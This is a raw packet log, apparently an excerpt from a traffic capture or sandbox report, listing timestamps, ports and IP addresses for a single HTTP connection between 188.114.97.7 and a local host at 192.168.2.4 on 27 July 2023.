Jul 27, 2023 18:26:45.850775957 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.850824118 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.850872993 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.850898027 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.850919962 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.850936890 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.851659060 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.851705074 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.851749897 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.851793051 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.851798058 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.851819038 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.852571964 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.852619886 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.852665901 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.852711916 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.852716923 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.852741957 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.853493929 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.853550911 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.853596926 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.853643894 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.853658915 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.853688002 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.854357004 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.854404926 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.854433060 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.854451895 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.854496956 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.854562998 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.855312109 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.855370998 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.855370998 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.855417013 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.855462074 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.855525970 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.856211901 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.856281042 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.856333017 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.856359959 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.856380939 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.856383085 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.857112885 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.857162952 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.857209921 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.857234001 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.857259035 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.857263088 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.858011961 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.858058929 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.858105898 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.858130932 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.858150959 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.858170986 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.858943939 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.859162092 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.859206915 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.859230042 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.859258890 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.859263897 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.859302998 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.860249043 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.865545034 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.865597010 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.865637064 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.865694046 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.866435051 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.866480112 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.866508961 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.866524935 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.866573095 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.866651058 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.867085934 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.867134094 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.867153883 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.867177963 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.867227077 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.867301941 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.867872000 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.867919922 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.867935896 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.867966890 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.868015051 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.868077993 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.868895054 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.868944883 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.868988991 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.869024992 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.869036913 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.869049072 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.869759083 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.869807959 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.869848967 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.869877100 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.869910002 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.870531082 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.870579958 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.870624065 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.870668888 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.870698929 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.870732069 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.871088982 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.871138096 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.871184111 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.871232986 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.871249914 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.871299028 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.871973991 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.872020960 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.872140884 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.872185946 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.872211933 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.873387098 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.873435020 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.873469114 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.873481035 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.873492956 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.873527050 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.874203920 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.874284029 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.874291897 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.874336004 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.874363899 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.884728909 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.884766102 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.884809971 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.884850979 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.884854078 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.884881973 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.884896994 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.884955883 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.884987116 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.884998083 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.885036945 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.885061979 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.885418892 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.885453939 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.885526896 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.885531902 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.885575056 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.885591984 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.885617971 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.885658979 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.885677099 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.885699987 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.885741949 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.885783911 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.885801077 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.885827065 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.885863066 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.886478901 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.886528969 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.886574984 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.886590004 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.886622906 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.886635065 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.886661053 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.886950016 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.886996984 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.887016058 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.887043953 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.887052059 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.887089968 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.887135983 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.887181997 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.887201071 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.887243986 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.887267113 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.887315035 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.887804031 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.887851954 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.887876987 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.887898922 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.887903929 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.887945890 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.887991905 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.888022900 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.888037920 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.888083935 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.888132095 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.888144970 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.888200045 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.888736963 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.888782978 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.888829947 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.888844967 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.888875008 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.888920069 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.888967991 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.888976097 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.889012098 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.889020920 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.889060020 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.889631987 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.889679909 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.889702082 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.889727116 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.889730930 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.889774084 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.889820099 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.889866114 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.889878035 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.889913082 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.889919043 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.889962912 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.890337944 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.890522003 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.890568018 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.890614986 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.890635014 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.890660048 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.890705109 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.890714884 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.890748978 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.890794039 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.890839100 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.890856981 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.890908957 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.891418934 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.891465902 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.891510963 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.891583920 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.891597033 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.891644955 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.891659975 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.891691923 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.891736031 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.891782045 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.891788960 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.891835928 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.892340899 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.892388105 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.892433882 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.892482042 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.892503977 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.892528057 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.892548084 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.892575026 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.892663002 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.892709970 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.892724037 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.892762899 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.893250942 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.893300056 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.893347025 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.893393040 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.893408060 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.893440008 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.893449068 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.893486023 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.893532038 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.893577099 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.893587112 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.893651962 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.894134998 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.894185066 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.894234896 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.894284010 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.894316912 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.894330025 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.894340038 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.894376040 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.894422054 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.894467115 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.894478083 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.894520998 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.895041943 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.895090103 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.895206928 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.895257950 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.895296097 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.895304918 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.895320892 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.895350933 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.895396948 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.895442963 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.895453930 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.895488977 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.895495892 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.895534992 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.896145105 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.896193027 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.896219015 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.896224022 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.896243095 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.896255016 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.896298885 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.896330118 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.896357059 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.896359921 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.896382093 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.896390915 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.897032976 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.897066116 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.897097111 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.897109985 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.897129059 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.897134066 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.897157907 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.897190094 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.897207975 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.897221088 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.897231102 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.897243977 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.898533106 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.901185989 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.901221037 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.901307106 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.901930094 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.901961088 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902004004 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902035952 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902067900 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902072906 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.902098894 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902098894 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.902129889 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902152061 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.902159929 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902359009 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.902698040 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902829885 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902862072 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902894020 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902925968 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902934074 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.902956963 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.902972937 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.902987003 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.903018951 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.903021097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.903096914 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.903388023 CEST	80	49695	188.114.97.7	192.168.2.4
